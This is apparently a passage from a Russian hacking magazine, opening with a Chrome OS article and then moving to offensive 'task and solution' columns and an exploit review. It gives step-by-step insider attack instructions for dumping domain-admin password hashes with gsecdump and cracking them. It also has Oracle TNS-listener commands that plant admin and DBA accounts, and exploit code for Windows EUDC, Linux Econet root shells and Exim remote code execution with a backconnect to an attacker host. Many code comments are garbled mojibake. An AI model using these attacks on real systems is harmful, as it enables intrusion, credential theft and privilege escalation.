му аккаунту. Несмотря на то, что магазин приложений Google 
появился совсем недавно, уже сейчас здесь есть масса полез-
ностей.

Что будет дальше?
Компания Googe движется по намеченному пути. Сначала у нее поя-
вились «программы в браузере», доказавшие свою состоятельность 
и мало в чем уступающие десктопным приложениям. Позже корпо-
рация после многих лет поддержки Mozilla неожиданно выпускает 
сверхбыстрый браузер, чтобы еще улучшить эти приложения (чего 
стоит опция, позволяющая сделать из любой странички обычную про-
грамму). И вот теперь — релиз ОС, которая максимально заточена под 
работу браузера. 
Даже если из этой затеи ничего не получится (а такие слухи ходят), 
Google’у это нужно хотя бы для того, чтобы закончить логическую 
цепочку. У нас же сейчас есть два варианта. Мы можем дождаться в 
продаже нетбуков на базе Chrome OS, о выпуске которых уже заявили 
некоторые производители, или прямо сейчас взять образ Chromium 
OS и посмотреть, что это за зверь. В конце концов, можно поставить 
последнюю бету Google Chrome, в которой всем желающим открыт 
доступ к приложениям из Chrome Web Store! z

Магазин веб-приложений Chrome
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Список горячих клавиш в Chrome OS

Выпустив нетбук Cr-48, Google показал и то, как он видит 
оптимальную раскладку, которая отличается от стандартной. Так, 
в компании безжалостно избавились от кнопки Caps Lock. Вместо 
нее теперь горячая клавиша для поиска. Если говорить о других 
горячих клавишах, то в Chrome OS их предостаточно. Посмотреть 
все комбинации хоткеев можно прямо в 
системе, нажав <F8>. Ниже — список самых востребованных:

<Shift>-<Esc> — çàïóñê òàñê-ìåíåäæåðà

<Ctrl>-<Back> — ïðåäûäóùàÿ âêëàäêà

<Ctrl>-<Forward> — ñëåäóþùàÿ âêëàäêà

<Ctrl>-<Next> — ñäåëàòü ñêðèíøîò îêíà

<Ctrl>-<Alt>-<t> — îòêðûòü îêíî òåðìèíàëà

<Ctrl>-<Shift>-<i> — îòîáðàçèòü òóëçû äëÿ äåâåëîïåðà 
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РЕШЕНИЕ:
Да здравствует автоматизация! В нашем деле без нее — никак. Напри-
мер, часто требуется проверить какую-то группу хостов на существо-
вание некого url’а или на стандартные логины/пароли. Чтобы автома-
тизировать данный процесс, можно воспользоваться каким-нибудь 
скриптовым языком. Я вот Perl люблю, особенно его regexp’ы :).
Потому за основу решения данной задачи возьмем Perl с библиотекой 
LWP, которая по стандарту присутствует в его комплектациях. 

#!/usr/bin/perl

#Ïîäêëþ÷àåì áèáëèîòå÷êó

use LWP::UserAgent; 

#Ïåðâûé àðãóìåíò — ôàéë ñ url’àìè äëÿ ïðîâåðêè

$ip_file=$ARGV[0]; 

#Îòêðûâàåì ôàéë è ÷èòàåì åãî

open(FILE,"$ip_file") or die "$ip_file not found";

while(<FILE>){

  #Óáèðàåì ïåðåâîä ñòðîêè è äîáàâëÿåì õîñò â ìàññèâ

  chomp($_);

  push(@ips, $_);

}

close (FILE);

#Ñîçäàåì íîâûé îáúåêò

$browser = new LWP::UserAgent;

#Æäåì îòâåò 5 ñåêóíä 

$browser->timeout(5);

#Ïðîõîäèì ïî âñåì õîñòàì

foreach $ip(@ips){

  #Îòïðàâëÿåì çàïðîñ íà õîñò

  $response= $browser->get($ip); 

  #Ïðîâåðÿåì îòâåò

  if(!$response->is_success){

     print "Error: ".$response->status_line."\r\n";

  }

  else {print "OK: ".$response->status_line. " \r\n ";}

}

Как видишь — все просто. Запрос к серверу выполняется одной коман-
дой.
В $response->status_line хранится код ответа, по которому можно 
судить о ситуации. Итог странички в $response->content.
Чтобы пройти http-аутентификацию, требуется добавить пару строк 
перед отправкой запроса:

$browser->credentials(

 $ip[$i].':80',

 'Basic realm',

 'username' => 'password'

  );

Тут все понятно: имя хоста с портом, строка запроса (то, что в кавычках, 
если зайти на url браузером), логин и пароль. 
Данный модуль может многое: GET/POST запросы, кукисы, изменение 
http-заголовков и так далее. Быстро и просто.
Я думаю, ни для кого не секрет, что скриптовых языков много — чего 
стоят хотя бы такие гиганты, как PHP, Python, Perl, Ruby... Каждый из них 
имеет свои бонусы, хотя применительно к нашим целям разница не осо-
бо заметна. Главное — иметь в запасе знаний хотя бы один скриптовый 
язык, и его применение, несомненно, принесет хорошие плоды.

ЗАДАЧА: ОБНОВИТЬ METASPLOIT 
FRAMEWORK ЧЕРЕЗ ПРОКСИ-СЕРВЕР

РЕШЕНИЕ:
Metasploit Framework растет и развивается каждый день: новые 
модули, скрипты и возможности, исправление всевозможных 
багов… Работа над MSF кипит. Потому и обновлять его желательно 
каждый день. Система обновления MSF построена на основе SVN 
(Subversion). Subversion — это свободная централизованная система 
управления версиями, которая используется очень многими раз-
работчиками программного обеспечения (и не только) в различных 
проектах. Доступ в SVN осуществляется различными способами, в 
том числе и по http/https-протоколу. При обновлении Metasploit’а 
используется как раз https-протокол. И логично, что в такой ситуации 
система просто обязана поддерживать работу через прокси-серверы.

Ну это так, в качестве общего описания, в основном для Win-пользо-
вателей, так как SVN запихнут в большиство *nix-систем :).
Но начнем с последних.  Файлы конфигов SVN лежат в домашней 
директории каждого пользователя в .subversion. Для настройки 

Настройка использования прокси Subversion

ЗАДАЧА: ПРОВЕРИТЬ ГРУППУ 
URL НА ДОСТУП
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прокси нам потребуется файл server.В нем, в разделе [global], мы 
можем задать общие настройки по прокси: имя сервера, порт, логин 
и пароль (если на прокси используется аутентификация пользовате-
лей), данные аутентификации для доступа к репозиторию, настройки 
SSL и так далее.
Так как SVN-система используется для доступа к различным ре-
позиториям, то и настройки можно задавать для каждого из них. 
Например, зададим настройки для доступа к MSF. Находим [groups] и 
создаем группу:

MSF = *.metasploit.com

Далее пропишем для нее настройки прокси:

[MSF]

http-proxy-host = àäðåñ_ïðîêñè

http-proxy-port = ïîðò_ïðîêñè

…

Все, как видишь, очень просто.
Теперь немного специфики для MSF в Windows-системах.
До последней версии Metasploit работал в Cygwin’е и настра-
ивался SVN уже в нем, то есть аналогично *nix-версиям. С 
выходом же версии 3.5 ситуация изменилась, так как от Cygwin’а 
отказались.
Теперь в Win-инсталляшке помимо MSF устанавливается куча вся-
кого дополнительного ПО типа PostgeSQL и JAVA (потому и размер 
дистрибутива вырос до 250 метров). В том числе устанавливается 
Subversion. 
Лежит он физически в «путь_до_MSF\tools\svn». Кстати, погова-
ривают о проблемах, если Subversion уже был установлен. Так что 
будь там осторожнее :).
Файл настройки SVN запрятали совсем глубоко — в скрытую папку 
«Application Data» каждого из пользователей. Попасть туда можно 
так: %APPDATA%\Subversion.
Остальное — аналогично *nix-системам.

ЗАДАЧА: ПОЛУЧИТЬ НАЗВАНИЕ ПРОИЗ-
ВОДИТЕЛЯ УСТРОЙСТВА ПО ЕГО MAC-АД-
РЕСУ.

РЕШЕНИЕ:
Ни для кого не секрет, что почти у всех сетевых устройств имеются 
48-битные MAC-адреса, и что адреса эти уникальны. Первые 24 (точнее, 
22) бита адреса привязаны к его производителю. Потому появляется 
возможность выявлять однотипные устройства в локальной Сети, а в 
случае крупных Сетей это бывает очень полезно. Большинство Х-тулз 
типа Nmap’а имеют свои базы (файл nmap-mac-prefixes), по которым 
выявляют вендора. Но не все так часто обновляются, как Nmap, и, на-
пример, тот же Сain&Abel (файл oui.txt) имеет проблемы с определением 
производителя по новым устройствам. Последнюю  официальную базу 
OUI (Organizationally Unique Identifier) можно почерпнуть тут: standards.
ieee.org/develop/regauth/oui/oui.txt. 

Кроме того, есть нестандартные зна-
чения OUI, которых нет в данной базе. 
В основном это всякие виртуальные 
устройства. Некоторые из таких OUI есть 
в базе Nmap’а, в остальных случаях 
потребуется воспользоваться силами 
поисковиков.

Organizationally Unique 
Identifiers
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ЗАДАЧА: ПОЛУЧЕНИЕ ПРАВ ДОМЕННО-
ГО АДМИНА

РЕШЕНИЕ:
Продолжим серию решений для этой насущной задачи :)
В данном случае предположим, что у нас есть физический доступ к 
одному из компьютеров (мы — злобные инсайдеры), на который за-
ходил, хотя бы удаленно, один из доменных админов. Добиться того, 
чтобы админ зашел на него — не проблема. По стандарту, у обычных 
пользователей нет прав на установку ПО или изменение каких-ли-
бо настроек — это делают админы. По логике, админы должны бы 
ходить для таких дел по компьютерам под урезанными учетными 
записями, но такое бывает редко — обычно они ползают c доменны-
ми правами.
Если такими мелкими вопросами занимается техподдержка и ад-
минчика не удается заставить зайти на подконтрольный комп, то это 
тоже не страшно. Завладев правами техподдержки, можно уже будет 
развить атаку на других системах.
Общая задача такова: запустить какую-нибудь тулзу типа 
gsecdump’а или fgdump’а, которая выдаст нам либо хэшики, либо кэ-
шики пароля админчика :). Имея хэшики, можно будет сразу ползти 
на домен, используя технику «pass the hash», о которой я писал в 
предыдущем номере. Кэшики придется брутить. Но давай последо-
вательно. Данные тулзы для своей работы требуют как минимум прав 
Администратора, но по факту — LocalSystem.Как стать локальным 

админом — вопрос, конечно, большой. Но если его получить хотя 
бы в виде NTLM-хэша, то, считай, дело сделано. Хотя бы потому, 
что очень часто пасс на локального админа ставят одинаковым для 
большинства хостов.
Но мы воспользуемся несколько другим способом. Используя либо за-
грузочный диск, либо загрузочную флешку и поставив загрузку с данного 
девайса, можно сбросить пароль локального админа. Дистрибутивов, 
которые могут делать такие вещи, достаточно. Если на BIOS стоит пароль, 
то можно его сбросить, вынув батарейку. Классика, в общем.
Еще важный момент. Локальный администратор — это стандартная 
учетная запись, но при использовании доменов ее частенько отклю-
чают для секьюрности. Фишка в том, что если перезагрузить комп и 
запустить Windows в безопасном режиме (кликай F8 при загрузке ОС), 
то локальная учетная запись админа включается. Так что очень вероят-
но подойдет и пустой пароль :). Зайдя под локальным админом, можно 
включить учетку и в нормальном виде («Мой ПК  Управление компью-
тером  Пользователи  Администратор  Свойства  Отключить 
учетную запись»). Далее, залогинившись под администратором, можно 
поднять свои права до System. Но сначала о специфике данных тулз, и 
вообще о системе хранения авторизационных данных в Windows.
Данные эти хранятся в трех местах: в SAM, в LSA и в кэше. Если не вда-
ваться в подробности, то:
• в SAM хранятся LM/NTLM–хэши локальных пользователей данного хоста;
• в LSA также хранятся LM/NTLM–хэши, но уже пользователей доменных;
• в кэше хранятся хэши паролей десяти последних пользователей, кото-
рые авторизовались на данном хосте.
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Хэши из SAM, понятно, нам не очень интересны. Кстати, hashdump в 
MSF достает только их, к сожалению.
LSA — лакомый кусочек, но данные в нем стираются после перезаг-
рузки.
Кэш — неплохое место. Официально он используется в тех ситуациях, 
когда доменный хост не имеет связи с доменом, а пользователю все-
таки надо поработать. Потому авторизация происходит с использова-
нием данных из кэша.  
Для нас проблема с кэшем заключается в том, что это не простой 
NTLM-хэш (DES).

Êýø ïîëó÷àåòñÿ ñëåäóþùèì îáðàçîì:

1. Ïàðîëü õýøèðóåòñÿ NTLM-àëãîðèòìîì (òî åñòü DES);

2. Ëîãèí êîíâåðòèðóåòñÿ â Unicode;

3. Ëîãèí äîáàâëÿåòñÿ ê õýøó ïàðîëÿ, è åùå ðàç õýøèðóåò-

ñÿ ïî MD4.

Так как хэш «просаливается» логином, то тут нам поможет только 
перебор. Подробнее можно почитать тут: openwall.info/wiki/john/
MSCash.
Теперь о тулзах: fgdump — может доставать кэши, а gsecdump — 
доменные учетные записи из хранилищ. Обе берут также данные из 
SAM. 
Чтобы получить права System, можно воспользоваться стандартным 
виндовым планировщиком заданий. Под Windows XP точно работает 
:).
Пишем в консоли:

at 19:45 /INTERACTIVE cmd /c "c:\gsecdump.exe -a > c:\

hash.txt "

Где:
• at — команда для манипуляции с заданиями;
• 19:45 — время запуска команды;

ВЗЛОМ
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• /INTERACTIVE — необязательная опция, которая указывает, что 
пользователь может взаимодействовать с запускаемой программой;
• cmd /c "c:\gsecdump.exe -a > c:\hash.txt " — запускаем 
консоль, в которой запустится gsecdump, на дамп из всех мест, сохра-
няя результат в файл hash.txt. 
Для работоспособности данного способа требуется, чтобы была запу-
щена служба «Планировщик заданий» (Schedule service).
Чтобы не ждать долго, ставим время запуска через пару минут 
от текущего времени, и в назначенный момент данная команда 
выполнится с необходимыми правами, а мы получим хэшики/
кэшики. 
Что делать с хэшиками — ясно, кэшики же, как было сказано ранее, 
придется брутфорсить.
Сделать это можно, например, используя John The Ripper (openwall.
com/john) c jumbo патчем (openwall.com/john/contrib/john-1.7.6-
jumbo-9-win32.zip), либо используя Cain&Abel (oxid.it/cain.html).

john.exe --format=mscash --wordlist=password_2.lst 

fgdump.txt

Где
• --format=mscash — указываем, что ломаем виндовый кэш;
• --wordlist=password_2.lst — ворд-лист (но можно и перебором);
• fgdump.txt — откуда брать кэшики.

Джон понимает стандарный вывод fgdump’а.
С Cain’ом несколько сложнее. Во-первых, потому, что в Cain можно 
импортировать кэшики либо с локальной машины, либо из краденых 
разделов реестра (security и system). Во-вторых, у Cain’а другой фор-
мат вводимых данных, не такой, как у fgdump’а. Но это все решабель-
но. Как — читай далее.
Итак, открываем папку с Cain’ом и находим там файл cache.lst.
Он обычный текстовый. Открываем его и вставляем данные итогов fgdump’a. 
Разница в форматах заключается в том, что у fgdump’a он имеет вид:

èìÿ_ïîëüçîâàòåëÿ : êýø : èìÿ_äîìåíà : ïîëíîå_èìÿ_äîìåíà

А у Cain’а:

èìÿ_äîìåíà \t èìÿ_ïîëüçîâàòåëÿ \t ïàðîëü \t êýø \t ïî-

ìåòêè

Где \t — знак табуляции.
Так как пароль неизвестен, то в соответствующем месте оставляем 
пустоту. Поле пометки тоже пустое. Главное — соблюсти символы 
табуляции. Еще одна проблема, классическая, кириллические имена 
пользователей. У fgdump’а с этим проблемы. Не совсем ясна ситуация 
с john’ом. У Cain’а все тип-топ.
Вот, в принципе, и все.

ЗАДАЧА: ПОХАКАТЬ СЕРВЕР ORACLE 
ЧЕРЕЗ TNS-LISTENER.

РЕШЕНИЕ:
Есть один бородатый способ порутания операционной системы и/или 
повышения своих прав в Oracle через TNS-listener этой самой базы 
данных. Работает он во всех версиях до 10-й. 
Вообще TNS listener используется во всех Oracle'ах для управления 
сетевым трафиком между базой данных и клиентами. Висит этот сервис 
обычно на 1521 порту. 
Листенер — это одна из основных возможностей залезть в систему. 
Во-первых, потому, что через него можно выполнять кое-какие команды 
типа status, services и version, в ответе которых можно найти чрезвычай-
но полезную информацию. Например, версию ОС и Oracle, а также SID’ы 
базы данных. Во-вторых, есть несколько уязвимостей, связанных с его 
DoS'ом. Суть же описываемого способа заключается в эксплуатации уяз-
вимости этого TNS-listener’а, которая позволяет указывать любое место 
для записи логов за счет команды set_log.
Для реализации мы можем воспользоваться либо простеньким perl-
скриптиком (jammed.com/~jwa/hacks/security/tnscmd), либо аналогич-
ным модулем в Metasploit’е (auxiliary\admin\oracle\tnscmd).
Итак, выполняем следующие две команды:

./tnscmd.pl -h 192.168.0.100 --rawcmd 

"(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)

(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)

(SERVICE=LISTENER)(VERSION=1)(VALUE=C:\Documents 

and Settings\All Users\Start Menu\Programs\Startup\

blahblah.bat)))" 

Где
•  -h 192.168.0.100 — это наша цель с Oracle'ом;
•  --rawcmd — указываем, что будет посылаться следующая строка, а не 
стандартная команда.
Тут есть важный момент: это указание выполнить команду log_file 
(COMMAND=log_file) с необходимым нам значением (VALUE=C:\
Documents and Settings\All Users\Start Menu\Programs\Startup\
blahblah.bat).

В данном случае мы указали батник, который создастся в меню «Пуск 
 Автозагрузка» у всех пользователей. И когда какой-то пользователь 

зайдет на сервер с Oracle’ом, то исполнятся команды, которые мы туда 
запихнем следующим образом: 

./tnscmd.pl -h 192.168.0.100 --rawcmd 

"(DESCRIPTION=(CONNECT_DATA=((

net user username password /add

net localgroup Àäìèíèñòðàòîðû username /add

“

Команды стандартные виндовые. Первая добавляет пользователя 
username с паролем password в ОС, а вторая — добавляет этого пользо-
вателя в группу локальных администраторов. Простенько, но работает. 
Что хорошо — Oracle чаще всего бывает запущен под системными учет-
ными записями, то есть с большими правами, а потому позволяет писать 
логи куда угодно.
Основная проблема данного способа заключается в том, что кроме 
наших команд в лог-файл попадает куча всякого мусора, который ограни-
чивает наши возможности. С батниками все о’кей — мусор не восприни-
мается в консоли, а необходимые для исполнения команды мы выделяем 
переносами строк.
Можно воспользоваться еще одной классической идеей и создать ново-
го пользователя в Oracle с правами DBA, а это бывает даже важнее самой 
ОС, когда цель — база данных. Для этого в качестве итогового файла 
логов укажем glogin.sql. По стандарту в винде с девятой версией Oracle 
это C:\oracle\ora92\sqlplus\admin\glogin.sql. Этот файлик запускается 
при старте SQL*Plus. А следующими командами мы создаем пользовате-
ля и даем ему роль DBA:

./tnscmd.pl -h 192.168.0.100 --rawcmd "(CONNECT_DATA=((

 create user hacker identified by hacker;

 grant dba to hacker;

 "

То есть, понятно, что дырка не простая, и можно придумать что-то 
хитрое и рабочее. На jammed.com/~jwa/hacks/security/tnscmd/
tnscmd-doc.html есть более подробное описание уязвимостей TNS 
listener'а. z
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ПОВЫШЕНИЕ 
ПРИВИЛЕГИЙ 
В MICROSOFT WINDOWS

 TARGETS 

Windows XP, 2003, Vista, 2008, 7

BRIEF

Интересная уязвимость была опубликована 24 ноября на ресурсе 
The Code Project под видом статьи. Буквально через несколько часов 
статья была удалена, но информация уже распространялась по сети с 
огромной скоростью.
Уязвимость представляет собой классическое переполнение буфера, 
однако есть несколько интересных нюансов.
Для эксплуатации бага надо выполнить WinAPI-функцию 
EnableEUDC, что приведет к выполнению системного вызова 
NtGdiEnableEUDC. NtGdiEnableEUDC служит для включения или 
выключения шрифтов интерфейса, определенных пользователем, 
и работает следующим образом: функция считывает путь к файлу 
пользовательского шрифта из параметра SystemDefaultEUDCFont, 
ключа реестра HKEY_CURRENT_USER\EUDC\<Current_code_
page>.
 Для получения значения из реестра используется функция 
RtlQueryRegistryValues:

NTSTATUS RtlQueryRegistryValues(

 __in ULONG RelativeTo,

 __in PCWSTR Path,

 __inout PRTL_QUERY_REGISTRY_TABLE QueryTable,

 __in_opt PVOID Context,

 __in_opt PVOID Environment

);

В качестве одного из входных параметров функция получает указа-
тель на структуру RTL_QUERY_REGISTRY_TABLE:

typedef struct _RTL_QUERY_REGISTRY_TABLE {

  PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine; // óêàçàòåëü 

íà ôóíêöèþ, êîòîðàÿ îñóùåñòâëÿåò êîïèðîâàíèå

  ULONG Flags; // òî, êàê áóäåò îñóùåñòâëåíî êîïèðîâàíèå

  PWSTR Name;

  PVOID EntryContext; // áóôåð, êóäà áóäóò ñêîïèðîâàíû 

äàííûå èç ðååñòðà

  ULONG DefaultType;

  PVOID DefaultData;

  ULONG DefaultLength;

} RTL_QUERY_REGISTRY_TABLE, 

  *PRTL_QUERY_REGISTRY_TABLE;

А теперь посмотрим, с какими параметрами вызывается данная функ-
ция в коде win32k.sys:

lea  eax, [ebp+var_424]

push  esi ; Environment

mov  [ebp+DestinationString.Buffer], eax

lea  eax, [ebp+DestinationString] ; eax óêàçûâàåò íà 

UNICODE-ñòðîêó, íàõîäÿùóþñÿ íà ñòåêå

mov  ?SharedQueryTable@@3

   PAU_RTL_QUERY_REGISTRY_TABLE@@A.EntryContext, eax

push  esi ; Context

lea  eax, [ebp+SourceString]

push  offset ?SharedQueryTable@@3

   PAU_RTL_QUERY_REGISTRY_TABLE@@A ; QueryTable

push  eax ; Path

push  esi ; RelativeTo

mov  [ebp+DestinationString.Length], si

mov  [ebp+DestinationString.MaximumLength], 208h 

 ; äëèíà UNICODE-ñòðîêè

mov ?SharedQueryTable@@3

   PAU_RTL_QUERY_REGISTRY_TABLE@@A.QueryRoutine, esi 

 ;_RTL_QUERY_REGISTRY_TABLE * SharedQueryTable

mov  ?SharedQueryTable@@3

   PAU_RTL_QUERY_REGISTRY_TABLE@@A.Flags, 24h 

 ; óñòàíîâêà Flags

mov ?SharedQueryTable@@3

   PAU_RTL_QUERY_REGISTRY_TABLE@@A.Name,

   offsetaSystemdefaulte 

 ; "SystemDefaultEUDCFont"

mov ?SharedQueryTable@@3

   PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultType, esi

mov ?SharedQueryTable@@3

   PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultData, esi

mov ?SharedQueryTable@@3

   PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultLength, esi

mov dword_A0179214, esi

mov dword_A0179218, esi

mov  dword_A017921C, esi

call  ds:__imp__RtlQueryRegistryValues@20 

 ;RtlQueryRegistryValues(x,x,x,x,x)

Следует обратить внимание на значение Flags: оно равно 0x24, что 
соответствует RTL_QUERY_REGISTRY_REQUIRED | RTL_QUERY_
REGISTRY_DIRECT. Взведенный флаг RTL_QUERY_REGISTRY_DIRECT 
указывает на то, что при копировании функция QueryRoutine будет 
проигнорирована, а данные в EntryContext будут обрабатываться как 
нетипизированный буфер. В этом и заключается вся суть уязвимости!
Атакующий может создать ключ в реестре: к примеру, HKEY_CURRENT_
USER\EUDC\CP-1251 со значением SystemDefaultEUDCF ont любого типа 
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(допустим, REG_BINARY) и большой длиной. Далее в стековый буфер будут 
без проверок скопированы данные, что приведет к переполнению.

char szKeyName[MAX_PATH], buff[0x800];

sprintf_s(szKeyName, MAX_PATH, "EUDC\\%d", GetACP());

RegCreateKey(HKEY_CURRENT_USER, szKeyName, &hKey);

memset(buff, 0x41, 0x800);

RegSetValueEx(hKey, EUDC_FONT_VAL, 0, REG_BINARY, buff,

   0x800); // ñîõðàíÿåì 0x800 áàéò, êàê òèï REG_BINARY

RegCloseKey(hKey);

EnableEUDC(TRUE); // à ýòî ïðèâåäåò ê ñèíåìó ýêðàíó

Примечательно также, что проэксплуатировать данную уязвимость 
можно на Windows 2000, Vista, 2008 и 7. На XP и 2003-й максимум, чего 
можно добиться, это появление синего экрана смерти.

SOLUTION

Официальное исправление для уязвимости на данный момент от-
сутствует, однако можно предотвратить возможность ее эксплуатации 
из-под ограниченной учетной записи, выполнив следующие шаги:
1. Войти в систему под учетной записью администратора.
2. Запустить редактор реестра и найти ключ HKEY_USERS\<SID>\EUDC 
(где <SID> — идентификатор ограниченной учетной записи).
3. Отредактировать разрешения ключа, запретив пользовательской 
учетной записи доступ к нему.

ПОВЫШЕНИЕ ПРИВИЛЕГИЙ 
В ЯДРЕ LINUX

TARGETS: 

Linux Kernel <= 2.6.37

BRIEF
Очень интересный эксплоит по повышению привилегий, задействую-
щий сразу 3 различных уязвимости в ядре, опубликовал Дэн Розен-

берг. Это отличный пример того, когда неэксплуатирумые на первый 
взгляд уязвимости в связке дают возможность выполнить код.
1. Первая уязвимость (CVE-2010-4258), на мой взгляд, самая инте-
ресная. Она связана с системным вызовом clone(2).
Если поток создается с помощью clone(2) с взведенным флагом 
CLONE_CHILD_CLEARTID, то при завершении потока два нулевых 
байта могут быть записаны по любому адресу в пользовательском ад-
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ресном пространстве. Запись двух байтов осуществляется функцией 
put_user(), которая проверяет адрес на принадлежность пользова-
тельскому API путем стандартной функции access_ok() — аналогом в 
ядре Windows служат ProbeForRead/ProbeForWrite.
Нельсон Элхадж (автор данной уязвимости) обнаружил, что если 
ядро выполняет перестановку лимитов адресного пространства 
путем set_fs(KERNLE_DS), и поток вызовет OOPS (с помощью какого-
либо исключения, например, разыменования нулевого указателя), то 
проверка access_ok() не выполнится. 
Это даст возможность переписать два байта по любому адресу уже в 
пространстве ядра, что ведет к достаточно простому пути повышения 
привилегий.
Тем не менее, access_ok() имеет нюанс. Чтобы понять его, разберем 
подробнее внутренние функции ядра линукса: get_fs() и set_fs(). 
Иногда ядро изменяет правила, для каких адресов access_ok() даст 
разрешение. Этот функционал выполняется функцией set_fs(), кото-
рая меняет диапазоны для пользовательского и ядерного адресного 
пространства.
После того, как будет выполнено set_fs(KERNEL_DS), access_ok() не 
выполнит никаких проверок на принадлежность пользовательскому 
адресному пространству. set_fs(KERNEL_DS) используется в основ-
ном тогда, когда функция принимает указатель на пользовательское 
адресное пространство, а нужно передать указатель на память ядра. 
Типичное использование представлено ниже:

old_fs = get_fs();

set_fs(KERNEL_DS); // îòêëþ÷åíèå ïðîâåðîê â access_ok()

vfs_readv(file, kernel_buffer, len, &pos); // áåç set_

fs(KERNEL_DS) vfs_readv âûçîâåò èñêëþ÷åíèå, òàê êàê 

âíóòðè èäåò ïðîâåðêà ïîñðåäñòâîì access_ok()

set_fs(old_fs); // âîçâðàò â îáû÷íîå ðóñëî

2. Вторая уязвимость (CVE-2010-3849) — это простейшее разыме-
нование нулевого указателя в обработке Econet-протокола, которая 
ведет лишь к панике ядра.
3. Третья уязвимость (CVE-2010-3850) — неправильная настройка 
прав на сетевые интерфейсы, с помощью которой можно присвоить 
Econet-адрес на любой сетевой интерфейс.
Также следует рассмотреть некоторые аспекты работы ядра linux, 
чтобы стало понятно, как три уязвимости работают в связке.
Механизм Kernel OOPS’ов: Когда в ядре происходит OOPS (какое-
либо исключение) — к примеру, из-за вызова макроса BUG(), который 
используется разработчиками для контроля неудачи assert’a, 
ядро пытается очистить ресурсы, а также убить текущий процесс с 
помощью функции do_exit(). В этот момент у процесса тот же контекст, 
что и до выполнения OOPS'a, включая set_fs()-перезапись диапа-
зонов адресных пространств. Из этого следует, что при выполнении 
access_ok() в коде do_exit() никаких проверок выполнено не будет! 
Опция CLONE_CHILD_CLEARTID в параметре flags функции clone() 
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означает, что при выходе потока ядро запишет два нулевых байта в 
специальный адрес в адресном пространстве потока, для того чтобы 
уведомить остальные потоки о завершении текущего. Этот функци-
онал реализован одной строчкой и обнуляет адрес в специальной 
структуре task_struct (которая описывает поток/процесс):

put_user(0, tsk->clear_child_tid);

Обычно это не вызывает никаких исключений, однако если данный код 
исполняется с условием get_fs() == KERNEL_DS, то никаких проверок 
не будет выполнено, и мы можем подставить любой адрес ядра.
Так как же заставить определенный код работать при условии 
get_fs() == KERNEL_DS? Дэн Розенберг нашел лазейку, используя 
функцию splice(). Системный вызов splice() не так давно появился 
в ядре, он используется для перемещения данных между пайпа-
ми и файловыми дескрипторами. Создаем Econet-сокет и далее 
вызываем splice() с параметром этого сокета, что приведет к вызову 
econet_sendsmg с set_fs(KERNEL_DS).
Теперь разберем эксплойт по кирпичикам:

Ñîçäàíèå ñîêåòîâ äëÿ èñïîëüçîâàíèÿ â splice()

fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);

fildes[3] = open("/dev/zero", O_RDONLY);

Ñáîð àäðåñîâ ÿäåðíûõ ôóíêöèé è äàííûõ (credentials èëè 

ïðàâ ïðîöåññà)

econet_ioctl = get_kernel_sym("econet_ioctl");

econet_ops = get_kernel_sym("econet_ops");

commit_creds = (_commit_creds) 

 get_kernel_sym("commit_creds");

prepare_kernel_cred = (_prepare_kernel_cred)

 get_kernel_sym("prepare_kernel_cred");

Ñîçäàíèå ïîòîêà

clone((int (*)(void *))trigger,

   (void *)((unsigned long)newstack + 65536),

   CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD, 

      /* ñ ôëàãîì CLONE_CHILD_CLEARTID */

   &fildes, NULL, NULL, target);

ioctl(fildes[2], 0, NULL);

execl("/bin/sh", "/bin/sh", NULL); 

   // âûçîâ shell ñ ïðàâàìè ðóòà

Ôóíêöèÿ, êîòîðàÿ âûçîâåò ðàçûìåíîâàíèå íóëåâîãî 

óêàçàòåëÿ â econet_sendmsg

int trigger(int * fildes)

{

  int ret;

  struct ifreq ifr;

  memset(&ifr, 0, sizeof(ifr));

  strncpy(ifr.ifr_name, "eth0", IFNAMSIZ); 

    // ñòàíäàðòíûé ñåòåâîé èíòåðôåéñ eth0

  ret = ioctl(fildes[2], SIOCSIFADDR, &ifr); 

    // âûñòàâëÿåò Econet àäðåñ

  splice(fildes[3], NULL, fildes[1], NULL, 128, 0);

  splice(fildes[0], NULL, fildes[2], NULL, 128, 0); 

    // âûçîâåò Null

pointer dereference

  /* Ñþäà ìû óæå íå ïîïàäåì... */

  exit(0);

}

SOLUTION

Обновляем ядро до последнего Release Candidate'а

УДАЛЕННОЕ 
ИСПОЛНЕНИЕ 
КОДА В EXIM

TARGETS: 
Exim 4.63 (RedHat/Centos/Debian)

Небезызвестный Kingcope снова порадовал общественность server-
side эксплоитом на популярный Open Source продукт — почтовый 
сервер Exim.
Хотя эксплоит работает на достаточно старой версии Exim’a, 
релиз которой был популярен еще в далеком 2006 году (exim.org/
lurker/message/20060731.142652.97e79ab1.en.html и seclists.org/
fulldisclosure/2010/Dec/233), используемые техники актуальны и по 
сей день.

BRIEF

После проведения diff-анализа файла expand.c становится ясно, что 
это типичный integer overflow.
Важно отметить, что Payload в эксплойте делает backconnect shell’а c 
правами root.

#include <stdio.h>

#include <unistd.h>

int main(int argc, char *argv[])

{

  setuid(0);

  setgid(0);

  setgroups(0, NULL);

  execl("/bin/sh", "sh", NULL);

}

Удачное выполнение удаленного сплоита

03
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Его выполнение производится на скомпрометированной системе 
путем нехитрого манипулирования с файлами:

system("gcc /var/spool/exim4/s.c -o /var/spool/exim4/s; 

rm /var/spool/exim4/s.c");

open FILE, ">/tmp/e.conf";

print FILE "spool_directory = \${run{/bin/chown 

root:root /var/spool/exim4/s}}\${run{/bin/chmod 4755 /

var/spool/exim4/s}}";

close FILE;

system("exim -C/tmp/e.conf -q; rm /tmp/e.conf");

system("uname -a;");

system("/var/spool/exim4/s");

system($system);

Забавно, но в эксплоите присутствует что-то наподобие help’a — 
наверное, чтобы никто не заблудился :).

if ($#ARGV ne 3) 

{

  print "./eximxpl <host/ip> <trojanurl> <yourip> 

    <yourport>\n";

  print "example: ./eximxpl utoronto.edu

    http://www.h4x.net/shell.txt 3.1.33.7 443\n";

  exit;

}

Перейдем к формированию данных, которые приведут к выполне-
нию шелл-кода. При манипуляциях с переменной сразу видно, что 
тут пахнет integer overflow:

$max_msg = 52428800;

$msg_len = $max_msg + 1024*256;

.....

while (length($body) < $msg_len) 

{

        $body .= $v;

}

$body = substr($body, 0, $msg_len);

.....

print $sock $body;

Что и приводит к переполнению и эксплуатации shellcode.

SOLUTION

